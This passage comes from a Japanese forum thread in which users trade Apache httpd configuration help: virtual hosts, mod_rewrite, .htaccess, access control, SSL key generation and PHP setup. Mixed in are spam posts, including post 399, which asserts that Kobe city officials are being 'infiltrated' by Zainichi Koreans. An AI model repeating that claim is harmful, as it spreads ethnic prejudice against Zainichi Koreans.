ServerRoot "C:/Program Files/Apache Software Foundation/Apache2.2"

こうなってて

LoadModule limitipconn_module modules/mod_limitipconn.dll

では読み込まれず

LoadModule limitipconn_module "C:\Program Files\Apache Software Foundation\Apache2.2\modules\mod_limitipconn.dll"

と書くと読み込まれました
373DNS未登録さん:2011/10/17(月) 15:54:09.31 ID:???
ふーん、うちと違うね。バージョンの違いかね?
374DNS未登録さん:2011/10/17(月) 17:48:33.60 ID:???
>>372
windowsって、c:/とか書いても平気なの?/と\が混ざっているのが気になるが。
windowsて動かしてないので単なる疑問。
375DNS未登録さん:2011/10/18(火) 11:59:06.64 ID:???
どこに使うかにもよるが、API等は/を認識する
376DNS未登録さん:2011/10/18(火) 19:53:04.36 ID:???
>>368
ありがとうございます
Listen 127.0.0.1:80を設定するだけ一応外部からはアクセスできなかったのですがこれだけでは危険でしょうか?
バーチャルホストとuserdirを有効にした状態でListenは初期設定のままにしてDocument Rootに
order deny,allow
deny from all
allow from 127.0.0.1
を書いてみてためしに外部からアクセスできるか試してみたのですがアクセスできました
バーチャルホストとuserdirを無効にした状態ですとアクセスできなくなりました
バーチャルホストとuserdirが有効なときは別なところにアクセス設定がいるのでしょうか?
377DNS未登録さん:2011/10/18(火) 21:08:54.21 ID:???
一気に設定しないで1つずつ潰しませう
最後の1行はイエス
378DNS未登録さん:2011/10/19(水) 19:56:07.51 ID:???
>>374
Windows自体は \も/もOK。
だけど、Apacheのconfでは"/"使ってね!って書いてあったと思う。
でも今conf見直してもその記述を見つけられなかった。別の場所だったかな?

> # of the server's control files begin with "/" (or "drive:/" for Win32), the
一応、"drive:/"と書いてあるけど
379DNS未登録さん:2011/10/29(土) 12:41:03.73 ID:???
サーバを公開したいのですが自分のhttpd.confを晒したらアドバイスいただけますか?
380DNS未登録さん:2011/10/29(土) 14:37:23.96 ID:???
>>379

ドメイン、ホスト名は、www.example.com等に、
アドレスは。ローカルアドレスに書き換えてうp
381DNS未登録さん:2011/10/29(土) 21:01:46.76 ID:???
>>379
間違えてもスレに貼り付けるという愚考は犯すなよ?
うpろだ使え
382DNS未登録さん:2011/10/29(土) 23:06:38.14 ID:???
わかりました
明日上げます
ここに貼り付けたらまずいですか?
383DNS未登録さん:2011/10/29(土) 23:32:40.39 ID:???
>>382
設定ファイルがログとして誰かのPCにずっと残り続けるのは気持ちのいいことじゃないだろ。

さらに言うと、1レス以内に収まるなら別だが
何レスも設定ファイルの断片を見続けるのはまどろっこしすぎて良くない。

384DNS未登録さん:2011/10/30(日) 00:10:04.42 ID:???
そうですねそのとおりです
ちょっとうpろだ使ったことないので探して見ます
385DNS未登録さん:2011/10/30(日) 20:51:27.67 ID:???
http://webdav.todo.gr.jp/のサイトがなくて困ってます
探しているのはmod_encodingです。
どこかミラーなどのサイトを知っていれば教えてください

386DNS未登録さん:2011/10/31(月) 04:06:50.05 ID:???
Apacheのスレで……



うんこ ●
387DNS未登録さん:2011/11/01(火) 00:04:29.76 ID:???
少し前に出た質問に似てるかもしれないけど

仮想サーバ1 他の仮想サーバが処理しない要求をすべて処理
アドレス 任意 サーバ名 自動 ルート /var/www/html (ただしアクセス禁止)

仮想サーバ2 全てのアドレスで名前ベースのサーバ test1.foo.com を取り扱う
アドレス 任意 サーバ名 test1.foo.com ルート /home/user/test1

仮想サーバ3 全てのアドレスで名前ベースのサーバ test2.foo.com を取り扱う
アドレス 任意 サーバ名 test2.foo.com ルート /home/user/test2

ドメイン屋さんのDNSには test1.foo.com と test2.foo.com を同じ生IPに結び付けてる。

このとき、生IPにアクセスするとForbbidenに引っかかる。これは意図した通り。
でも test1.foo.comにアクセスすると、Forbbidenに引っかかる。
仮想サーバ2のアドレスを test1.foo.com にするとアクセスできるんだけど
そのときは生IPでアクセスしても仮想サーバ2の内容が表示される。

test1.foo.com → 仮想サーバ2
test2.foo.com → 仮想サーバ3
生IPを含む、上記以外のアクセス → 仮想サーバ1
が応答するようにしたいんだけど、どう設定すればいいですか?
388DNS未登録さん:2011/11/01(火) 01:13:58.48 ID:???
仮想サーバ1 にリバースプロキシを有効にした Apache を走らせて、すべての受け口はここにする。
あとは仮想サーバ1が設定により振り分ける。

仮想サーバ2や3に複数のバーチャルホストを設定するなら、2や3のApacheに設定する1つめのVirtualHostディレクティブは
デフォルトの設定として2個目から設定を書けばよい。
389DNS未登録さん:2011/11/01(火) 11:07:10.76 ID:???
解決しますた。ありがトン
390DNS未登録さん:2011/11/04(金) 21:13:09.08 ID:???
今、メンテ中で下記の様に503で返しています。

ErrorDocument 503 /maintenance.html

<ifmodule mod_rewrite.c>
RewriteEngine On

RewriteCond %{REQUEST_URI} !=/maintenance.html
RewriteRule ^.*$ - [R=503,L]
</ifmodule>

ところが困ったのは、

http://exsample/server-status

でアクセスしても503のエラーページが出ます。


これはなんとなりませんか?
391DNS未登録さん:2011/11/05(土) 07:17:05.03 ID:???
>>390
/server-status
を対象外にすれば?
392DNS未登録さん:2011/11/05(土) 08:56:46.94 ID:???
管理や監視など用とサービス用で vhost を分けると制御が楽だよ
393DNS未登録さん:2011/11/05(土) 13:13:10.54 ID:???
>>391
ちょっと勉強してみます。
394DNS未登録さん:2011/11/05(土) 13:15:31.14 ID:???
>>392
なるほど、server-statusはvhostにすれば分り易いってことですね。
395DNS未登録さん:2011/11/07(月) 04:24:44.41 ID:???
これからApache(HTTP Server)を導入しようと考えているのですが、導入に先立って質問があります。
Apacheは配下に仮想的なディレクトリを作成して、そこへのアクセスをすべて別のWebサーバーへ
マッピングするといった使い方はできますか?

hogehoge.com┬/foo1/ (実体)
         ├/bar2/ (実体)
         └/mapp3/ (仮想)

仮にApacheでこうした構成をとったとして、/foo1/と/bar2/にアクセスしてきた場合は
Apache自身が公開しているコンテンツを返すのに対して、/mapp3/にはApache自身は
何もファイルを持たず、ここにアクセスしてきた場合は同一セグメント内にある
別のWebサーバーへそのまま転送するといった用途です。
と言いますのも、あるアプリケーションが独自Webサーバー機能を持っている
(しかもPort80ではなく独自ポート番号)のですが、Apacheで公開するコンテンツも
その独自Webサーバーのコンテンツも、WAN側からPort80上で透過的にアクセスしたいためです。
そのため、転送先のポート番号も指定できる機能も欲しいです。
396DNS未登録さん:2011/11/07(月) 07:03:14.25 ID:???
>>395
リバースプロクシでググると良い。
397DNS未登録さん:2011/11/07(月) 07:03:23.62 ID:???
mod_proxy 使えば出来る
398395:2011/11/07(月) 09:57:23.58 ID:???
>>396-397
ヒントありがとうございます。
目的が達成でそうなので、これからApache勉強してみます。
399DNS未登録さん:2011/11/07(月) 20:34:25.53 ID:???
------どこの国が拉致したんですか?
役人 … … …(無言)

役人として言質を取られないようにするのが重要なのは分かりますが、
上記の質問にすら沈黙を守る神戸市市役所職員の態度に唖然。

こんなにまで在日コリアンに侵食されているのかと恐ろしくなる動画です。

http://www.youtube.com/watch?v=4duQF-sZ3cI
3:00頃から
400DNS未登録さん:2011/11/21(月) 10:31:54.42 ID:A2K5OV22
ミスリードを誘うのが好きな人っているんだ
401DNS未登録さん:2011/11/21(月) 21:05:16.15 ID:???
ご質問させてください。

ドキュメントルート:/home/test/www/
エイリアス:/test /var/www/aliastest/
htaccessの場所:/home/test/www/.htaccess

というような設定にしているのですが、例えば、
http://localhost/で/home/test/www/にアクセスした場合は
htaccessで記載したユーザ認証が可能なのですが、
http://localhost/test/としてアクセスした場合にはhtaccessが適用されず
ユーザ認証なしでページが閲覧できてしまいます。
そのため、/home/test/www/.htaccessをシンボリックリンクで、
/var/www/aliastest/.htaccessに作成したところ、
一応成功はしたのですが、この方法以外にはないのでしょうか?

ルートに置いたhtaccessがその配下全てに適用されると思うのですが、
エイリアス設定は例外なのでしょうか?

もしご存知の方いらっしゃれば教えてください。
よろしくお願いします。
402DNS未登録さん:2011/11/21(月) 21:29:39.94 ID:HLlGmV4I
ディレクティブの 書かれたファイルをディレクトリに置くことで、『そのディレクトリと
そのサブディレクトリすべて』にディレクティブを適用させることができます。
- http://httpd.apache.org/docs/2.1/ja/howto/htaccess.html

/var/www/aliastest は /home/test/www のサブディレクトリではない
サーバーの設定を書き換えられるなら<Location />を使えばおk
403DNS未登録さん:2011/11/21(月) 23:02:18.63 ID:Xk4Xejot
旦那の職業がAV男優... 許せますか?
男優... 許せますか?先日の深夜番組で特集していた恋愛占いで
ついさっき親友から「あんたの夫がAVに出てる」と連絡があり、おそるおそる見てみたら、間違いなく夫でした。
占いの予言のたった2日後の話です。
http://chie.rakupe.com/q1475929924.html
404401:2011/11/23(水) 20:36:53.77 ID:???
>>402
連絡遅くなりました。
htaccessと<Directory>を使用せずに<Location>のみで組んでみたところ
自分の希望通りのに動作しました。
助かりました。ありがとうございました。m(_ _)m
405DNS未登録さん:2011/11/24(木) 00:23:42.45 ID:???
phpで動的ページを静的ページに見せかけようと、
httpd.confでmod_rewriteの設定をしています。
mod_rewrite.soは読み込まれています。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.*)$ http://sample.com/ [R=301,L]
</IfModule>

上記はwww.sample.comをsample.comにリダイレクトする設定でこちらは正しく動作しています。
下記の設定が思い通りに動作しません。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^foo/([0-9a-zA-Z_\-]+)$ http://sample.com/foo.php?id=$1 [L]
</IfModule>

http://sample.com/foo.php?id=bar → http://sample.com/foo/bar にすることが目的です。

どなたかご教授して頂けませんでしょうか。
406DNS未登録さん:2011/11/24(木) 00:27:47.23 ID:???
^foo

^/foo
407405:2011/11/24(木) 00:31:38.64 ID:???
>>406
ありがとうございます。
confを修正してapacheをrestartしましたがnot foundのままでした…
408DNS未登録さん:2011/11/24(木) 01:11:45.27 ID:???
>>405
次からはexampleつかえよ
sample.comとってる人に迷惑かかるだろ
409DNS未登録さん:2011/11/24(木) 01:16:02.18 ID:???
>>408
おいお前、ご教授にも突っ込めよw
410DNS未登録さん:2011/11/24(木) 10:35:10.74 ID:???
>>405
なんにせよ rewrite をテストするときはログを取ろう。

ちなみに全く同じルール設定して試したが、
http://example.com/foo.php?id=bar に 302 された。
411DNS未登録さん:2011/12/05(月) 23:52:15.34 ID:HtYuBJ99
質問があります

/etc/http/conf.d/2011/10/11/test.conf
/etc/http/conf.d/2011/10/12/test.conf

このようにconfファイルをそれぞれ置いているとします

これらのファイルを正規表現で読み込ませたいのですが、httpd.confにどのように記述すればよろしいでしょうか?

Include /etc/http/*/*/*/*.confとやっても出来ませんでした。。
412DNS未登録さん:2011/12/06(火) 01:24:00.22 ID:???
Include に正規表現は使えません。
シェルで使えるワイルドカードのみです。

で、恐らくは * を与えた時にはディレクトリを探すようには出来てないと思われる。


自前でスタートスクリプトを組んで、複数ある設定ファイルを1つにまとめて上げてから
httpd をスタートさせるぐらいしか対応は出来ないんじゃないかな。
413DNS未登録さん:2011/12/06(火) 01:31:29.74 ID:???
ディレクトリを指定すると〜ってマニュアルに書いてあった
けどコピペしてくるのメドイんで見といて
414411:2011/12/06(火) 21:07:35.07 ID:cT11kG5D
ありがとうございました。ディレクトリを一つにまとめる事にしました。
415DNS未登録さん:2011/12/07(水) 22:12:13.93 ID:XTbCttYK
http://example.com/%74%65%73%74
       ↓
http://example.com/test

http://example.com/%e3%83%86%e3%82%b9%e3%83%88
       ↓
http://example.com/%E3%83%86%E3%82%B9%E3%83%88

以上のように等価とみなされるURIを
より適切だと思われるURIにリダイレクトさせてURIの表記を統一させたいと思います
このような場合、リダイレクト時にどのHTTPステータスコードを返すのが適切でしょうか
それともこのようなリダイレクトを行うのは不適切でしょうか
416DNS未登録さん:2011/12/08(木) 01:39:00.63 ID:???
っ シンボリックリンク
417DNS未登録さん:2011/12/08(木) 02:16:26.15 ID:???
>>415
永続的な移動
418415:2011/12/08(木) 03:58:24.78 ID:YUtlACNA
>>416
URIとリソースを出来る限り一対一で対応させたいと考えています

>>417
ありがとうございます
301 Moved Permanently ですね

以下のような指定で301等を返すと
Operaでは履歴・キャッシュを削除しなければ等価なURIにアクセスできなくなってしまうのですが
このOperaのバグ?を回避することは可能でしょうか

RewriteEngine on
RewriteBase /
RewriteCond %{THE_REQUEST} "%(30|31|32|33|34|35|36|37|38|39|41|42|43|44|45|46|47|48|49|4A|4B|4C|4D|4E|4F|50|51|52|53|54|55|56|57|58|59|5A|61|62|63|64|65|66|67|68|69|6A|6B|6C|6D|6E|6F|70|71|72|73|74|75|76|77|78|79|7A|2D|2E)" [NC]
RewriteRule (.+) $1 [R=301,L]
419DNS未登録さん:2011/12/08(木) 14:24:20.03 ID:???
おっぺら禁止
420DNS未登録さん:2011/12/14(水) 18:39:06.32 ID:???
ベーシック認証の認証ダイアログが表示されずに、ステータス401を返してしまう現象が
あるのですが、解決策はありますでしょうか。
以下の状況です。
・apache1.3系です。
・httpd.confにてIPによるアクセス制限とベーシック認証設定をしています。
・今まではアクセス制限もベーシック認証も正しく動作していました。
・今回、新たにノートパソコンを導入し、正常にアクセスできるパソコンから
LANケーブルを差し替えてノートパソコンでアクセスしたところ、Authorization Required画面が
表示される(認証画面は出ずにすぐにこの画面になります)
・ノートパソコンは、WindowsXP・IE8です。正常にアクセスできるパソコンも同じ
OS・ブラウザです。
・IPアドレスは、許可されたIPアドレスです。
・サーバのログには、ステータス401を返したと記録されています。

どなたかアドバイスいただけないでしょうか。
よろしくお願いいたします。
421DNS未登録さん:2011/12/14(水) 18:45:45.96 ID:???
どこに問題が?
401を受け取って認証ダイアログを表示するのはブラウザの仕事。
ちゃんと401を返しているのであればサーバは100%責任を果たしている。
422DNS未登録さん:2011/12/14(水) 21:38:11.24 ID:???
IP が違うんじゃないの?
423420:2011/12/14(水) 22:23:45.14 ID:HK3ZnmJS
解りづらい文章ですみません。
>>421
認証ダイアログを表示せずに、いきなり認証エラーの画面なんです。
>>422
IPアドレスは正しいです。

検索をかけて1例だけ「教えてgoo」にこの現象があったのですが、
解決に至っていなく、弱っています。
よろしくお願いいたします。
424420:2011/12/14(水) 22:28:58.40 ID:HK3ZnmJS
>>421
すみません、誤読しました。
サーバは責任を果たしているのかもしれませんが、
尋ねられて、責任果たしてるから知らないと言えない状況なもので。
クライアントの設定の何かでしょうか?ご存知ないでしょうか。
425DNS未登録さん:2011/12/14(水) 23:57:49.12 ID:???
>>424
他のブラウザでためしたか?
多分、認証ダイアログがブロックされてるオチだろう。

つーか、IEの問題であってapache関係ないだろこれ
426420:2011/12/15(木) 10:37:20.26 ID:4DhjGbeD
解決しました。IEの設定でした。
セキュリティレベル中高だと、ダイアログをブロックするんですね。
結果として、スレ違いになってしまい申し訳ありません。
ありがとうございました。
427DNS未登録さん:2011/12/15(木) 11:48:00.01 ID:???
アホドザ
428DNS未登録さん:2011/12/16(金) 18:56:04.52 ID:???
windowsでuserdirを設定したとき
http://localhost/~test/index.htmlがあるとします
このページで<a href="/">home</a>のリンクをクリックすると
http://localhost/に飛んでしまいます
どうやらwindowsではこのようなドキュメントルートになってしまうので
ちゃんとuserdirごとのドキュメントルートを反映させる方法はありませんか?
429DNS未登録さん:2011/12/16(金) 19:31:48.06 ID:???
430428:2011/12/16(金) 19:41:40.74 ID:???
その当たりは設定済みです
windowsの場合ドキュメントルートとして反映しないんです

431DNS未登録さん:2011/12/16(金) 20:14:00.11 ID:???
>>430
正常では?

ドキュメントルートは何処に設定してる?
432428:2011/12/16(金) 20:59:43.98 ID:???
codepadにhttpd-userdir.confの内容を投稿したのでご確認お願いします
http://codepad.org/xJMjfTeQ
433DNS未登録さん:2011/12/16(金) 21:13:25.20 ID:???
正常動作でかと。


どんなに深い PATH であろうが、 / が示すのはルート以外無いよ。

/ のリンクを ~DIR にしたいんだろうけど、
user.example.com みたいにしてみた方が
希望の動作になるかと。
434DNS未登録さん:2011/12/16(金) 21:59:57.88 ID:???
>>432
どうしても、そのような動作にしたいなら、
mod_rewriteで書き換えてしまえばいいのでは?

でも、VirtualHostの方が分かりやすくていいんでない?
435DNS未登録さん:2011/12/16(金) 22:37:18.54 ID:???
バーチャルホストの設定とhostsファイルの書き換えが面倒くさくてuserdirで何とかできないものかと考えておりました
userdirってレンタルサーバなどでしか見かけなくなったのでバーチャルホストを使うことにします
436435=428:2011/12/16(金) 22:37:59.45 ID:???
すいません>>435==>>435です
437428:2011/12/17(土) 17:13:48.50 ID:???
windows apache2.2を使っています
userdirを無効にしてバーチャルホストだけを使う事ってできませんか?
userdirを無効にするとバーチャルホストのurl http://test.localhost/にアクセスすると403エラーになってしまいます

httpd.confとhttpd-vhosts.confの内容を掲載します
httpd.conf → http://codepad.org/Henomlhv
httpd-vhosts.conf → http://codepad.org/xQEExBwK

あとhttp://localhost/にアクセスしたときにアクセス制限できているか実験でhttpd.confのDirectoryに以下のように設定しました
Order allow,deny
Allow from 127.0.0.2
アクセス時のipは127.0.0.1なのでアクセス拒否されると思ったのですがアクセスできてしまいます。
開発用なので127.0.0.1以外からのアクセスは全て遮断したいのでこちらもアドバイスお願いします

438DNS未登録さん:2011/12/17(土) 17:41:22.80 ID:???
DocumentRoot "C:/home/test/public_html" をAllowしてる?
439DNS未登録さん:2011/12/17(土) 17:42:40.74 ID:???
いや、ループバックアドレスだしそりゃ応答するんじゃねえの?
440DNS未登録さん:2011/12/17(土) 20:25:16.47 ID:???
<VirtualHost *>
  ServerName localdomain
  DocumentRoot /wwwroot/unknown/www
  <Directory /wwwroot/unknown/www>
    AllowOverride None
    Order deny,allow
    Deny from all
  </Directory>
</VirtualHost>
<VirtualHost *>
  ServerName example.com
  DocumentRoot /wwwroot/example.com/www
  <Directory /wwwroot/example.com/www>
    order allow,deny
    allow from all
  </Directory>
</VirtualHost>
<VirtualHost *>
  ServerName example.org
  DocumentRoot /wwwroot/example.org/www
  <Directory /wwwroot/example.org/www>
    order allow,deny
    allow from all
  </Directory>
</VirtualHost>
行数の関係で ErrorLog、CustomLog、ServerAdmin は省いた
自分はこうやって設定してる。最初の設定はドメインが一致しなかった場合の設定で、
アクセスを許可させるべきではないので 403 で応答 (deny from all)。
VirtualHost ディレクティブの外にある DocumentRoot とかは弄らなくて OK
441DNS未登録さん:2011/12/18(日) 12:48:13.98 ID:???
>>437
自分でローカルのドメイン作ってhostsなりDNSで対応すりゃいいんだよ。
127.0.01使わずに、nicに振ったアドレス使ってな。
あとvhost使うなら、mod_vhosts_aliasおすすめ。
442DNS未登録さん:2011/12/19(月) 05:12:17.90 ID:???
勧められても環境変数が違ったりして動的ページには向かないね。
443DNS未登録さん:2011/12/19(月) 07:06:46.40 ID:???
/ で ~userdir/ を参照したいっていう方がニッチな要求だし、
素直に mod_rewrite から virtual host 使えって思います。まる。
444428:2011/12/23(金) 18:04:42.36 ID:???
規制のため返信遅くなりすみません
いただいた情報参考にさせて頂きました
445DNS未登録さん:2011/12/25(日) 11:30:17.79 ID:???
http://codepad.org/と同じような仕組みにしたいのですがうまくいきません

http://localhost/index.html
にアクセスしてきたら
http://localhost/
に飛ばして

http://localhost/ランダムな文字列
にアクセスしてきたら
http://localhost/index.html?ランダムな文字列
に飛ばしたいのですがうまくいきません
アドバイスおねがいします

RewriteEngine on
RewriteRule ^index.html$ / [R=301,L] # URLを/に統一する用
RewriteRule ^(.+)$ index.html?$1 [L] # ランダムな文字列を元にページを表示させる用
446445:2011/12/25(日) 11:32:31.52 ID:???
修正します

1番目のurlだけリダイレクトをさせます
2番目のurlのほうはリダイレクトはさせません
447428:2011/12/25(日) 11:41:19.17 ID:???
追記です
以下のように直したらURLを/にさせることもできましたが
http://localhost/I8fdF34GというURLにアクセスしたら
URLがhttp://localhost/?I8fdF34Gに変わってしまいます
URLに?がついてしまうんですが?がつかないようにするアドバイスをお願いします

RewriteEngine on
RewriteRule ^index.html$ / [R=301,L]
RewriteRule ^([a-zA-Z0-9]+)$ /index.html?$1 [L]
448428:2011/12/25(日) 11:54:34.86 ID:???
RewriteCond %{THE_REQUEST} ^.*/index.html
入れたら解決しました
449DNS未登録さん:2011/12/29(木) 22:57:41.27 ID:???
windows7 + apache2.2 + opensslで秘密鍵と公開鍵と証明書の作り方分かる人いる?

@ "httpd-2.2.21-win32-x86-openssl-0.9.8r"をインストール
A confフォルダー内、httpd.cnfの"#LoadModule SSL_module modules/mod_ssl.so"の頭の#を外して上書き保存
B 環境変数のユーザー環境変数に新規で"変数名"="Path","変数値="C:\Program Files\Apache Software Foundation\Apache2.2\bin"を追加
C コマンドプロンプトで>pathを入力してBの表示を確認
D コマンドプロンプトで>opensslと入力するとOpenSSLと表示される。

上記の設定した後、コマンドプロンプトで
@ "C:\Program Files\Apache Software Foundation\Apache2.2\bin"で
openssl genrsa -rand ANYWORD -out server.key 1024 と入力
A 同じ場所で更に openssl req -new -key server.key -out server.csr -config ../conf/openssl.cnf と入力
B binフォルダーにserver.csrとserver.keyが作られる筈。なのだが。

うん。csrとkeyファイルがどこにも見当たらない…(T_T) リスタートはしたよ?なんで?
450449:2011/12/29(木) 23:12:02.17 ID:1LR5x4zs
ちなみに449のスレここで合ってる?
451DNS未登録さん:2011/12/31(土) 16:07:15.08 ID:???
設定が上手くいかんのですが、初心者の質問はここでおkですか?
452DNS未登録さん:2011/12/31(土) 17:09:04.91 ID:???
>>451
おしえて君でなければ、OK!
453DNS未登録さん:2012/01/01(日) 02:37:06.36 ID:???
>>449
CUI操作に慣れていない初心者が陥りやすい罠だな
お年玉プレゼント:カレントディレクトリ
454DNS未登録さん:2012/01/01(日) 20:31:21.77 ID:???
ttp://www.yamada-lab.org/doc/win_vista/apache2.0/index.html

主に上記のサイトを参考にapache_2.0.59-win32-x86-no_sslの設定をして
「あなたの予想に反して〜」のページを表示するところまではいけたんですが
続けてphp-5.2.17-Win32-VC6-x86を設定したところで「phpinfo()」のページが上手く表示されず
ソースコードがそのまま表示されてしまいました
そして「あなたの予想に反して〜」のページを表示しようとすると
「Index of /」のページが表示されます

ここ数日色々と調べて弄ってみたんですが改善されません
何か分かることがあればアドバイスお願いします
455DNS未登録さん:2012/01/01(日) 21:21:32.35 ID:???
そもそも mod_php はちゃんと読み込めてるの?
456DNS未登録さん:2012/01/02(月) 01:02:47.31 ID:???
>>455
mod_phpが分からないので一度調べてみます
ありがとうございます
457DNS未登録さん:2012/01/02(月) 11:00:39.25 ID:???
Apacheの起動時のerror.logにPHPのバージョン番号出てる?
458DNS未登録さん:2012/01/02(月) 11:16:18.66 ID:???
phpはインストーラー版をダウンロードして
インストールすれば、httpd.confも追記してくれるはず。
459DNS未登録さん:2012/01/02(月) 13:50:11.09 ID:???
>>454
そのサイト、セットアップで何をしたいのか、わからんな
パソコンおやじでも見て作業したほうが分かりやすいんじゃないの?
460449:2012/01/02(月) 21:08:19.93 ID:???
>>453

レスありがとうございます。
お年玉はボクには使い方分かりませんでしたT_T
とりあえずProgram Filesから一度外してCに直でインストールしたら
問題回避はできたけど。。うん。
お祝いにお年玉プレゼントの続きが欲しいw
461DNS未登録さん:2012/01/03(火) 15:58:54.77 ID:???
皆さんありがとうございます
ちょっと手詰まりなので>>459で教えて頂いたサイトを参考にやり直してみます

>>457
error.logを一通り確認してみましたがPHPのバージョン番号は確認出来ませんでした

>>458
こちらも参考にさせて頂きます
462DNS未登録さん:2012/01/03(火) 17:50:04.71 ID:???
>>461

追記してくれるけど、↓だけ。
私の場合、拡張子htmlでもphpを動かしたいから、.htmlを更に追記しているけど。


#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "C:/PHP/"
LoadModule php5_module "C:/PHP/php5apache2_2.dll"
AddType application/x-httpd-php .php .html
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
463DNS未登録さん:2012/01/07(土) 22:48:44.89 ID:lp6rKc16
お年玉難しいな。

カレントディレクトリがbinならbin以下にできそうだが。。。
464DNS未登録さん:2012/01/09(月) 16:14:41.08 ID:???
エラーログにバージョン番号出てないなら、そもそもロードされてない。
httpd -M かなんかで見ては
465DNS未登録さん:2012/01/09(月) 16:33:52.86 ID:???
拡張子がhtmlとかになってんじゃないの?phpinfo.htmlとか。
466DNS未登録さん:2012/01/09(月) 17:03:52.34 ID:???
>>464-465
一週間前の話に食いついてもなあ
467DNS未登録さん:2012/01/14(土) 02:03:13.42 ID:68evEOZv
httpd-2.2.xにしてから、
Timeout
ディレクティブを書いても効かなくなったように思えますが、
何かご存知の方はいらっしゃいますでしょうか・・・?

httpd-2.2.17 php5で
phpは、
LoadModule php5_module modules/libphp5.so
で、モジュール組み込みで動かしています。

この環境で、今まで
apache1.3.x php5で
タイムアウトが発生していたことと同じことをしても、
全くタイムアウトしません。

今まで、
#telnet localhost 80
として、何も入力しないとタイムアウトになっていましたが、
これもタイムアウトにならないで、ずっと待ったままになります。

たぶん、この人と同じ悩みです。

http://serverfault.com/questions/78193/apache-timeout-directive-not-working

https://issues.apache.org/bugzilla/show_bug.cgi?id=44270
も同じことを言っていますが、
AcceptFilter http none
AcceptFilter https none
としてもだめでした。

https://issues.apache.org/bugzilla/show_bug.cgi?id=37940
は、mod_phpのせいだと言っていますが、まだ直っていないのでしょうか?
468DNS未登録さん:2012/01/14(土) 02:37:38.70 ID:???
KeepAliveは?
469DNS未登録さん:2012/01/14(土) 03:02:56.31 ID:68evEOZv
>>468
467です。
最初、設定が入っていなくて、
KeepAlive On
KeepAliveTimeout 5
を入れても、NGでした。
Timeout 10、Timeout 30、Timeout 60
と試してもだめでした。
KeepAlive Off
でもだめでした。
470DNS未登録さん:2012/01/14(土) 22:13:10.93 ID:???
「.htaccess」の質問です。
「.htaccess」が各ディレクトリに存在する時、どのようなルールで読み込まれますか。

たとえば
・/home/public_html/.htaccess
・/home/public_html/foo/.htaccess
・/home/public_html/foo/bar/.htaccess
・/home/public_html/foo/bar/index.html
というファイルがあって、最後の「/foo/bar/index.html」にアクセスされた場合、
3つある.htaccessがすべて読み込まれるのでしょうか。
471DNS未登録さん:2012/01/15(日) 00:27:10.08 ID:???
472DNS未登録さん:2012/01/15(日) 02:00:15.29 ID:???
上位から下位にかけて設定は上書きされていく。
473DNS未登録さん:2012/01/29(日) 01:58:50.22 ID:???
UNIX板にも同じのあるけど何が違うん
Apache関連 Part11
http://toro.2ch.net/test/read.cgi/unix/1222729860/
474DNS未登録さん:2012/01/29(日) 11:36:13.37 ID:???
自宅設置とUNIXに載せてる違いだろ?
かぶる部分も多いが、会社やレンタルサーバ設置とかWindows版とか違うところもある
475DNS未登録さん:2012/02/02(木) 02:37:32.56 ID:???
Apache HTTP Server 2.2.22 Released
http://archive.apache.org/dist/httpd/CHANGES_2.2.22
476DNS未登録さん:2012/02/05(日) 07:22:46.17 ID:???
NameVirtualHostって一つのIPアドレスしか使用しない場合は全部ワイルドガードにしていいんですか?
あえて引数でIPを固定するメリットはありますか
477DNS未登録さん:2012/02/05(日) 08:56:10.57 ID:???
>>476
1つのサーバに複数のアドレスが割り当ててあって、
それらでそれぞれ異なる仮想ホストを提供するような場合に使う。
478DNS未登録さん:2012/02/05(日) 09:56:40.27 ID:???
>>477
ありがとうございます
そんなケースがあったんですね
479DNS未登録さん:2012/02/06(月) 22:49:40.68 ID:???
ワイルドなガードってどんなんやろ…
480DNS未登録さん:2012/02/07(火) 01:43:25.37 ID:???
Apache の中にはマッチョな小人が居て、悪意のある攻撃から守っています。
481DNS未登録さん:2012/02/07(火) 18:32:25.84 ID:???
街の外なのになぜかPKerを瞬殺するのか。。。胸熱だな。
482DNS未登録さん:2012/02/16(木) 03:32:29.39 ID:???
Windowsの環境でやってるんだけど
localhostだとデフォの「It works!」
て描いてあるページが表示されるんだけど
グローバルIPでページを見ようとすると真っ白で何も表示されない><

原因わかる人いてるかな;;?
483DNS未登録さん:2012/02/16(木) 03:45:32.82 ID:???
>>482
くだらねぇ質問はここで@自宅鯖 46台目
http://engawa.2ch.net/test/read.cgi/mysv/1315701274/1

この辺りじゃないか
484DNS未登録さん:2012/02/16(木) 03:55:36.28 ID:???
むむ。
>>483のテンプレにある
ttp://fula.jp/cgi-bin/head/
ttp://fula.jp/cgi-bin/head2/
にIP通して見ても、
HTTP/1.0 404 Not Found
って表示された><

でもスマフォの回線(Wi-fiはOFF)から見ても、404は表示されずに
真っ白画面が表示されたまんま・・・
485DNS未登録さん:2012/02/16(木) 05:50:15.50 ID:???
>>483
ありがとう!
色々過去ログとか漁りまくって
ルーター設定その他コンフィグ周りもいじり倒したらいつの間にか
ちゃんと表示できるようになりました!
486DNS未登録さん:2012/02/21(火) 10:57:31.05 ID:???
linuxに./configure --enable-so
make
make install
でインストールしたのですが
httpd.confを開いてrewrite.soを有効にしたいと思ったんですが
どこにもモジュールが書いてありません
Windowsみたいにモジュール一覧が書いてあってコメントアウトするだけでよいようにななってないのでしょうか?
--enable-soでconfigureすればそうできると思ってたのですが
487DNS未登録さん:2012/02/21(火) 10:57:51.16 ID:???
486はapache2.2です
失礼しました
488DNS未登録さん:2012/02/21(火) 11:32:00.26 ID:???
extra の中に色々ファイル入ってると思うけど、その中のファイルには書かれて無い?
489DNS未登録さん:2012/02/21(火) 12:53:34.76 ID:???
>>486
--enable-mods-shared=all
490DNS未登録さん:2012/02/21(火) 13:14:45.75 ID:???
>>486
つーか、パッケージ版だったらなにか問題あるの?
491DNS未登録さん:2012/02/21(火) 13:26:26.91 ID:???
って一覧が欲しいわけじゃ無くてrewrite使いたいだけか
自分で入れて自分でconf書けばいいじゃない
492DNS未登録さん:2012/02/21(火) 14:06:54.71 ID:???
>>488-488
はいってないです
それあとでためしてみます
パッケージは古いバージョンなので自分の好きな最新バージョンを選択して使いたいからです
自分で入れて動くのですか
493DNS未登録さん:2012/02/21(火) 15:21:12.83 ID:???
やってみるしかない、マジで
494DNS未登録さん:2012/02/21(火) 15:48:35.69 ID:???
httpd -l で mod_rewrite が出てくれば conf の設定不要。
495DNS未登録さん:2012/02/21(火) 15:49:10.44 ID:???
